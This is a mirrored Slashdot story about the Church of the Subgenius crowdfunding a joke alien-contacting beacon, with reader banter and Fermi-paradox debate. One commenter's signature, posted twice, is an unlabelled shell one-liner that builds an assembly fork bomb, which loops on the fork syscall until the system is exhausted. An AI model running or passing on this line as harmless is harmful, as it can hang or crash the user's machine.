Slashdot Mirror
Parody 'Subgenius' Religion Wants to Crowdfund An Alien-Contacting Beacon (gofundme.com)
In 1979 the followers of J. R. "Bob" Dobbs founded a satirical religion called the Church of the Subgenius. (Slackware Linux reportedly drew its name from the "pursuit of Slack", a comfort-seeking tenet of the 38-year-old parody religion.) Combining UFOs and conspiracy theories with some social critiques (and a few H.P. Lovecraft characters), the strange group is now re-emerging online with an official Facebook page -- and a slick new video channel.
In "Adventures in the Forbidden Sciences," former church CEO K'taden Legume announces that in January of 2016, "the Subgenius Foundation received an overdue bill for a storage locker in the Pacific Northwest registered under the name J. R. Dobbs. Behind the steel door was a freight elevator leading deep underground to what was long considered to be a myth: The church's long-abandoned forbidden science laboratories. Hidden in a forgotten cavern, packed floor-to-ceiling with thousands of crates dating back to the mid-19th century." Eighteen months of experimentation lead to clues about a flying saucer arriving on "the Black Day" -- and one last chance at eternal salvation and everlasting Slack: the construction of an alien-contacting beacon. Legume calls it "our best last hope for getting off of this planet. We have the tech. We have the moxie to do this, but to finish the beacon -- we need your help."
"The Beacon will be constructed by a team of 'Forbidden Scientists' led by former church CEO Dr. K'taden Legume," writes new Slashdot reader Ktaden Legume, touting a new $25,000 campaign to crowdfund the beacon's construction.
So far it's raised $294.
In "Adventures in the Forbidden Sciences," former church CEO K'taden Legume announces that in January of 2016, "the Subgenius Foundation received an overdue bill for a storage locker in the Pacific Northwest registered under the name J. R. Dobbs. Behind the steel door was a freight elevator leading deep underground to what was long considered to be a myth: The church's long-abandoned forbidden science laboratories. Hidden in a forgotten cavern, packed floor-to-ceiling with thousands of crates dating back to the mid-19th century." Eighteen months of experimentation lead to clues about a flying saucer arriving on "the Black Day" -- and one last chance at eternal salvation and everlasting Slack: the construction of an alien-contacting beacon. Legume calls it "our best last hope for getting off of this planet. We have the tech. We have the moxie to do this, but to finish the beacon -- we need your help."
"The Beacon will be constructed by a team of 'Forbidden Scientists' led by former church CEO Dr. K'taden Legume," writes new Slashdot reader Ktaden Legume, touting a new $25,000 campaign to crowdfund the beacon's construction.
So far it's raised $294.
They'll ignore you because you're made out of meat. Sorry.
Ezekiel 23:20
"our best last hope for getting off of this planet. We have the tech. We have the moxie to do this, but to finish the beacon -- we need your help."
P.S. We want your women.
Contacting aliens will just get your inbox flooded with respondents claiming to be an alien princes who need you to wire them money.
SJW: Someone who has run out of real oppression, and has to fake it.
Broadcasting radio signals such as we are currently doing is a great way to test for intelligent life within the light bubble it creates, as a bonus the affected volume is increasing as a cube of the time passed. Also, if alien life behaves anything like earth life, and they somehow manage to get here, we will all likely get to go off planet - probably via some high powered energy beam weapon.
All that 19th century tech lacks processing power. I'll plead an unused router/firewall running Slackware 3.9 to provide that for the beacon.
I hadn't known there were so many idiots in the world until I started using the Internet -Stanislaw Lem
Clearly we do have to get off this planet. No doubt this beacon is in the shape of a thumb. Unfortunately they mistake it for a middle finger...
Don't eat the pudding!
you mean the others aren't?
Besides from the religion part?
That is all.
Ah, a Discordian without a sense of humor. (Just kidding, we love you fuckers too. Hail Eris. All Hail Discordia. But send $30 just in case.)
Slack Beacons do not follow normal light-speed laws of the universe. The Department of Forbidden Science, who's activities were though to be limited to giving haircuts to bums, has discovered that Slack travels much like Tachyons do. Low energy slack actually travels further than High energy slack and exists at all points along the route simultaneously. The Slack beacon will run on these solid principles of Forbidden Science.
does this sub-genius religion come from the sub-species over on the western side of the Atlantic? How fitting.
Trump tweets aren't enough for you?
Have gnu, will travel.
"Most popular video: 46 views"
Guess being slashdotted doesn't mean what it used to.. *shrug*
I'm reading all the negative stuff you post here on slashdot about Alien scams, crappy religion and people that don't understand what "slack" is. But while you all make fun and post sarcastic comments I will remind you the important things about that beacon. There are "Sex Goddess" on that alien ship, and it is important for all the religion members to finally get lay. Please, sarcastic members of the generation X, donate to that beacon. Let's finally make the dream come true for all of us.
Perhaps the money would be better spent building a truck stop with a bunch of flying saucers in the parking lot. Surely it's universally understood that if the parking lot is full it must be a good place to stop. Maybe have a sign offering discounts for aliens. Rather than a beacon. That's just stupid.
Y'all need to find Bob, these comments are full of bobbies and pinks seriously lacking in slack.
Remember, it's never a setback or failure. Only Involuntary Slack forced upon you by the great Bob Dobbs.
What frequency will this broadcast at? How will they afford the licensing and construction with a mere $25k
a comfort-seeking tenet of the 38-year-old parody
Yeah... That ain't how slack works buddy (unless that's how it works for you).
the strange group is now re-emerging online
subgenius.com doesn't count?
I think it's supposed to be "bacon", not "beacon".
You are welcome on my lawn.
It's much worse than that. The most common form of messages will be viruses - e,g ones which tell you to build a machine that sucks up all the resources from your planet or star and turns them into machines that send messages to other civilisations to build similar machines of their own.
It'd work pretty well because uncontacted civilisations would be pleased as punch to be finally noticed and ill equipped to work out what a machine far beyond their level of technology to design would actually do when turned on.
If you imagine a universe where so messages are benign and helpful and some are self replicating viruses, it's clear that the viruses would quickly become the most common.
In fact I was surprised no one in 'Contact' raised this possibility. Then again it was written by Carl Sagan who believed the first message from aliens would be an 'Encyclopedia Galactica' which would solve all our problems, deus ex machina style. In fact literally deus ex machina. Sagan was an atheist and I think this belief system replaced religion for him.
Needless to say if people like him end up in positions of power they'd lobby hard to build whatever the aliens told us to build. Which would make us very vulnerable to a viral message. And clearly an advanced civilisation could devise a brutally effective machine for strip mining the solar system to build machines to keep the message going. In fact even they tried to send a benign and non self replicating message, self replicating mutations of it would out compete the original.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
https://en.wikipedia.org/wiki/...
28-31 (1C hex-1F hex) are 4 pieces that form the image of J. R. "Bob" Dobbs from the satirical Church of the SubGenius, a rarely used easter egg.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
edgy
Seriously, after reading that book I would seriously consider the death penalty for anyone who uses radio broadcasts for any reason let alone trying to contact NHIs.
The work of the noodley appendage is manifested in many forms
Ferengi are very trustworthy. Those bars of gold pressed latinum are so mine. I gave them my social security number and everything.
Your assumption is a macro virus essentially, which evolution doesn't exactly provide the most friendly environment for, and market forces and internal politics would interfere with even the most predatory species. Imagine the planet where such a species would have to come into being, develop technology and then use that technology to do as you suggest. It just isn't likely. Unless if you're thinking galactic Skynet.
Further, for the building of such a machine to be done well enough by engineers, the chance of discovery of the machine's true intent would be much, much higher than you seem to suggest.
Any alien that is still capable of listening on primitive radio would be too far away to receive the transmission, if it's even noticed to begin with. Aliens capable of responding to us would be using a means of communication that uses quantum entanglement, probably using quantum computer components. Also, even if they wanted to respond over radio it would probably be very illegal for them to do so, I mean look at humanity...
The subgenious thing was never that funny.
It was always too unfocused in concept and just wordy.
Parodies are not automatically funny.
Or you could imagine the other way around.
Any civilisation more advanced than us is *bound* to be more pacifist than us, otherwise they would certainly not have been able to survive up to that point.
It would be very unlikely for such an advanced civilisation to be nefarious to the point of taking opportunity to send "viruses" to us, because such a nefarious civilisation that also has access to such advanced technology would have had plenty of opportunity to obliterate it self before.
Our history is filled with critical point where we had way too much destructive power, and had the deciding powers being any much crazier, we would have destroyed our civilisation.
Think about the cuban missile crisis.
Even think at the undergoing North Korean crisis.
If any of the involved powers was any bit more trigger happy, we would have not be here around anymore.
To paraphrase the movie catch phrase : with great power comes great responsibility. As we advance in technological power, we need to also advance in responsibility or risk not existing anymore.
By the time any civilisation has significantly enough risen on the Kardashev scale to be capable of interstellar contacts, it must have becom enough violence/cruelty-averse to not have been blown itself in the process of that rise.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Also, if alien life behaves anything like earth life, and they somehow manage to get here, we will all likely get to go off planet - probably via some high powered energy beam weapon.
On the other hand, if any contacted civilisation would have been that aggressive, chances are high that they will have had plenty of opportunities to blow themselves all up in the process of getting to that point on the Kardashev scale.
Think of their historical equivalent of the Cuban missile taking the wrong (destructive non pacifist) turn. - Now think of it, but in the context of an advanced enough civilisation with enough technology and power to be capable of interstellar travel.
A "wrong turn" of crisis would have vastly devastating consequences on their existence.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
There exists a non-zero chance the reason we don't see the galaxy teeming with extraterrestrial life is that an advanced civilization simply comes along and destroys all other civilizations once they make themselves known. They do this simply because...why put your own civilization at risk on the chance the new civilization is or becomes malevolent? {..} Then 200 years later the Sun is obliterated.
It could also go the other way around.
Any civilisation that has is that much advance, that high on the kardashev scale, absolutely *MUST* evolve to be pacifist and non-aggressive.
Otherwise they would have had a too high risks of destroying themselves in the process of advancing (it's one thing to be aggressive, when the worst that could happen is that your primitive tribes club each other to death while other tribe in the neighbouring valley don't even notice. It's an entirely other thing to have trigger-happy rulers when you possess enough power to obliterate your whole solar system).
The apparent lack of advanced civilisation is then simply a consequence of not all of them learning fast enough to de-escalate violent situation, and too many of these civilisation taking the wrong turn on their historical version of the Cuban missile crisis - having opted instead for the nuclear option.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
The fact that the Church of the Subgenius has to be described as a "parody" on Slashdot means the rumors are true:
Slashdot really is kind of a thing of the past. I guess 20 years (minus N, where people all have their own N) was a good run.
I always find is sad when something that meant something to me goes away (I loved /. in the 90's, but decided not to create an account the day that registrations were turned on, thinking "why do they need my email address?"). But I just can't deny it anymore. Slashdot is dead.
Sad.
I know, I stole it. Check the gofundme.
https://www.gofundme.com/the-beacon-project
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Dr.Legume